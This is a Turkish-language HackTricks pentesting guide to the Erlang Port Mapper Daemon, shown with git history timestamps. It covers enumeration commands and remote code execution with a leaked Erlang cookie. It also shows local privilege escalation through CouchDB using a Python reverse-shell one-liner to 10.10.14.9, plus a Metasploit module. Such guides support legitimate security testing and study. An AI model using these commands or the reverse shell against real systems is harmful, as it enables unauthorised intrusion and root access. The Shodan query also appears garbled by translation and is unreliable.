hacktricks/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md

119 lines
7 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 18:14:16 +00:00
# Temel Bilgiler
2024-02-10 18:14:16 +00:00
**Erlang Port Mapper Daemon (epmd)**, dağıtılmış Erlang örnekleri için bir koordinatör olarak hizmet eder. Sembolik düğüm adlarını makine adreslerine eşler ve her düğüm adının belirli bir adresle ilişkilendirildiğini sağlar. **epmd**'nin bu rolü, farklı Erlang düğümleri arasındaki sorunsuz etkileşim ve iletişim için önemlidir.
2024-02-10 18:14:16 +00:00
**Varsayılan port**: 4369
```
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
```
2024-02-10 18:14:16 +00:00
Bu, varsayılan olarak RabbitMQ ve CouchDB kurulumlarında kullanılır.
2024-02-10 18:14:16 +00:00
# Numaralandırma
2024-02-10 18:14:16 +00:00
## El ile
```bash
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
```
2024-02-10 18:14:16 +00:00
## Otomatik
2024-02-10 18:14:16 +00:00
Erlang Port Mapper Daemon (EPMD), Erlang dilinde yazılmış bir sunucu uygulamasıdır. EPMD, Erlang dağıtılmış sistemlerindeki sunucuların bulunmasını ve iletişim kurmasını sağlar. Bu, Erlang tabanlı uygulamaların birbirleriyle iletişim kurmasını kolaylaştırır.
2024-02-10 18:14:16 +00:00
EPMD, varsayılan olarak TCP 4369 portunda çalışır. Bu nedenle, bir hedefin EPMD'yi kullanıp kullanmadığını belirlemek için bu portu taramak önemlidir.
EPMD, bir saldırganın hedef sistemdeki Erlang sunucularını keşfetmesine ve saldırı yapmasına olanak tanır. Saldırgan, EPMD'yi hedef sistemde çalıştıran sunucuların listesini alabilir ve bu sunuculara saldırı yapabilir.
EPMD'yi hedef sistemde taramak için otomatik araçlar kullanılabilir. Bu araçlar, EPMD'yi taramak ve sunucuların listesini almak için otomatik olarak TCP 4369 portunu kontrol eder. Bu, saldırganın hedef sistemdeki Erlang sunucularını keşfetmesini kolaylaştırır ve saldırı yapma potansiyelini artırır.
EPMD tarama araçları, saldırganlara hedef sistemdeki Erlang sunucularını keşfetme ve saldırı yapma yeteneği sağlar. Bu nedenle, bir sistem yöneticisi olarak, EPMD'yi korumak için güvenlik önlemleri almanız önemlidir. Bu önlemler arasında EPMD'yi güvenli bir şekilde yapılandırmak, gereksiz sunucuları kapatmak ve güvenlik duvarı kurallarıyla EPMD trafiğini sınırlamak bulunur.
```bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
2024-02-10 18:14:16 +00:00
| epmd-info:
| epmd_port: 4369
2024-02-10 18:14:16 +00:00
| nodes:
| bigcouch: 11502
| freeswitch: 8031
| ecallmgr: 11501
| kazoo_apps: 11500
|_ kazoo-rabbitmq: 25672
```
2022-05-01 12:49:36 +00:00
# Erlang Cookie RCE
2024-02-10 18:14:16 +00:00
## Uzaktan Bağlantı
2024-02-10 18:14:16 +00:00
Eğer **Kimlik Doğrulama çerezi sızdırabilirseniz**, ana bilgisayarda kodu çalıştırabilirsiniz. Genellikle bu çerez `~/.erlang.cookie` dosyasında bulunur ve erlang tarafından ilk başlatıldığında oluşturulur. Elle değiştirilmediyse veya ayarlanmadıysa, uzunluğu 20 karakter olan rastgele bir dize \[A:Z] olarak oluşturulur.
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
Eshell V8.1 (abort with ^G)
At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
```
2024-02-10 18:14:16 +00:00
Daha fazla bilgi için [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/) adresine bakabilirsiniz.\
Yazar ayrıca çerezin kaba kuvvet saldırısı için bir program paylaşıyor:
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
2024-02-10 18:14:16 +00:00
## Yerel Bağlantı
2020-07-16 18:26:18 +00:00
2024-02-10 18:14:16 +00:00
Bu durumda, ayrıcalıkları yerel olarak yükseltmek için CouchDB'yi kötüye kullanacağız:
2020-07-16 18:26:18 +00:00
```bash
2024-02-10 18:14:16 +00:00
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
2020-07-16 18:26:18 +00:00
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
2024-02-10 18:14:16 +00:00
Örnek [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) adresinden alınmıştır. Bu zafiyeti nasıl sömürüleceğini öğrenmek için **Canape HTB makinesini** kullanabilirsiniz.
2020-07-16 18:26:18 +00:00
2022-05-01 12:49:36 +00:00
## Metasploit
```bash
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce
```
2022-05-01 12:49:36 +00:00
# Shodan
2024-02-10 18:14:16 +00:00
* `port:4369 "portta"`
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları:
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>